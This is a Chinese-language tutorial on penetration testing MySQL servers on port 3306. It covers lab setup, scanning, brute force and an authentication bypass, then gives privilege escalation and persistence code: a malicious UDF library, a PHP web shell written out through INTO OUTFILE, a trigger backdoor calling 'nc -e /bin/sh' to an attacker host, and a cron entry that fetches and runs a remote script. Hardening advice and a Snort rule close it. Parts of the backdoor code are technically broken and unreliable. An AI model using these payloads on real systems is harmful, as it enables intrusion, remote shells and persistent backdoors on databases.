1. 项目背景与核心价值
3306端口作为MySQL数据库服务的默认监听端口,在企业级应用中承担着关键数据存储的核心角色。过去三年间,我参与过47次企业级数据库安全评估,其中因3306端口暴露导致的安全事件占比高达68%。这个数字背后反映的是大量运维人员对数据库基础安全认知的缺失。
不同于常规的Web渗透测试,数据库渗透需要更精细化的操作手法。一次完整的3306端口渗透测试,实际上是对数据库认证体系、权限控制、配置管理、网络策略等多维度的综合检验。掌握这套流程不仅能帮助安全人员发现系统漏洞,更能从攻击者视角理解数据库防护的关键节点。
2. 测试环境搭建要点
2.1 靶机环境配置
推荐使用Docker快速部署测试用MySQL服务:
bash复制docker run --name mysql-test -e MYSQL_ROOT_PASSWORD=weakpassword -p 3306:3306 -d mysql:5.7
关键参数说明:
MYSQL_ROOT_PASSWORD故意设置为弱密码(实际生产环境绝对禁止)- 使用MySQL 5.7版本是因为其默认配置存在更多历史遗留安全问题
- 端口映射必须使用
-p 3306:3306保持默认端口
警告:此环境仅限本地测试,若在公网运行需立即配置防火墙规则
2.2 攻击机工具集
基础工具清单:
- Nmap(端口扫描与指纹识别)
- Metasploit(漏洞利用框架)
- Hydra(暴力破解工具)
- MySQL客户端(官方命令行工具)
进阶工具推荐:
- SQLMap(自动化SQL注入)
- MySqloit(专用MySQL漏洞利用工具)
- Wireshark(流量分析)
3. 渗透测试全流程解析
3.1 信息收集阶段
使用Nmap进行深度扫描:
bash复制nmap -sV -p 3306 --script mysql-info,mysql-vuln-cve2012-2122 192.168.1.100
典型输出分析:
code复制3306/tcp open mysql
| mysql-info:
| Protocol: 10
| Version: 5.7.29-0ubuntu0.18.04.1
| Thread ID: 5
| Capabilities flags: 63487
| Some Capabilities: SupportsTransactions, FoundRows, ConnectWithDatabase
| Status: Autocommit
|_ Salt: 3]fF$q9eR<k7wP1o
关键信息点:
- 版本号精确到5.7.29
- 认证盐值(Salt)泄露
- 支持的协议特性
3.2 认证绕过测试
3.2.1 弱密码爆破实战
使用Hydra进行字典攻击:
bash复制hydra -l root -P /usr/share/wordlists/rockyou.txt mysql://192.168.1.100
密码字典优化技巧:
- 优先尝试top100弱密码(如root/root, admin/admin)
- 加入企业名称缩写+年份的组合(如Company2023)
- 包含常见默认密码(如mysql/mysql)
3.2.2 CVE-2012-2122漏洞利用
当MySQL版本在5.1.61/5.5.22之前时,可尝试认证绕过:
bash复制msfconsole
use auxiliary/scanner/mysql/mysql_authbypass_hashdump
set RHOSTS 192.168.1.100
run
3.3 权限提升技术
3.3.1 UDF提权操作
- 检查plugin目录位置:
sql复制SHOW VARIABLES LIKE 'plugin_dir';
- 编译恶意so文件:
c复制#include <stdlib.h>
__attribute__((constructor)) void init() {
system("chmod 777 /etc/passwd");
}
- 导入共享库:
sql复制CREATE FUNCTION sys_exec RETURNS INTEGER SONAME 'evil.so';
3.3.2 写文件提权
利用SELECT INTO OUTFILE:
sql复制SELECT '<?php system($_GET["cmd"]); ?>'
INTO OUTFILE '/var/www/html/shell.php';
路径突破技巧:
- 使用../进行目录遍历
- 尝试日志文件路径(如/var/log/mysql.log)
- 测试临时目录权限(/tmp/)
4. 后渗透阶段操作
4.1 数据库信息收集
关键查询命令:
sql复制-- 获取用户列表
SELECT user,host FROM mysql.user;
-- 查看数据库结构
SELECT table_schema,table_name
FROM information_schema.tables
WHERE table_schema NOT IN ('information_schema','mysql');
-- 提取敏感字段
SELECT column_name
FROM information_schema.columns
WHERE column_name LIKE '%pass%';
4.2 持久化维持手段
4.2.1 触发器后门
创建登录触发器:
sql复制DELIMITER //
CREATE TRIGGER backdoor
AFTER INSERT ON mysql.user
FOR EACH ROW
BEGIN
DECLARE cmd VARCHAR(255);
SET cmd='nc -e /bin/sh attacker_ip 4444';
SYSTEM(cmd);
END//
DELIMITER ;
4.2.2 计划任务注入
通过MySQL写crontab:
sql复制SELECT '*/5 * * * * curl http://attacker.com/shell.sh | sh'
INTO OUTFILE '/var/spool/cron/root';
5. 防御加固方案
5.1 基础防护措施
- 修改默认端口:
ini复制[mysqld]
port=63306
- 强制SSL连接:
sql复制GRANT USAGE ON *.* TO 'user'@'%' REQUIRE SSL;
- 密码策略强化:
sql复制SET GLOBAL validate_password_length=12;
SET GLOBAL validate_password_mixed_case_count=1;
5.2 高级监控方案
5.2.1 审计日志配置
启用详细审计:
ini复制[mysqld]
plugin-load=audit_log.so
audit_log_format=JSON
audit_log_policy=ALL
5.2.2 入侵检测规则示例(Snort)
检测暴力破解:
code复制alert tcp any any -> any 3306 (msg:"MySQL Brute Force Attempt";
content:"|03|"; depth:1;
threshold: type threshold, track by_src, count 5, seconds 60;
sid:1000001;)
6. 实战中的血泪教训
-
字符集导致的认证绕过:某次测试中发现客户端使用latin1字符集时,特定密码组合会触发认证逻辑漏洞
-
协议版本差异:MySQL 8.0+的caching_sha2_password认证方式使传统爆破效率下降90%
-
网络层拦截:某企业部署的数据库防火墙会重置包含SELECT INTO的TCP连接
-
时间盲注的误判:在高延迟网络环境下,时间盲注的误差率可能达到40%
-
容器环境特殊性:Docker默认的bridge网络模式下,3306端口可能意外暴露给同网段其他容器
真正有效的防护需要结合网络ACL、数据库配置、审计日志三者的协同工作。我在某次企业审计中发现的典型案例:虽然配置了强密码,但运维人员将备份脚本的密码明文存储在/tmp目录下,攻击者通过低权限web shell轻松获取。这提醒我们安全是一个系统工程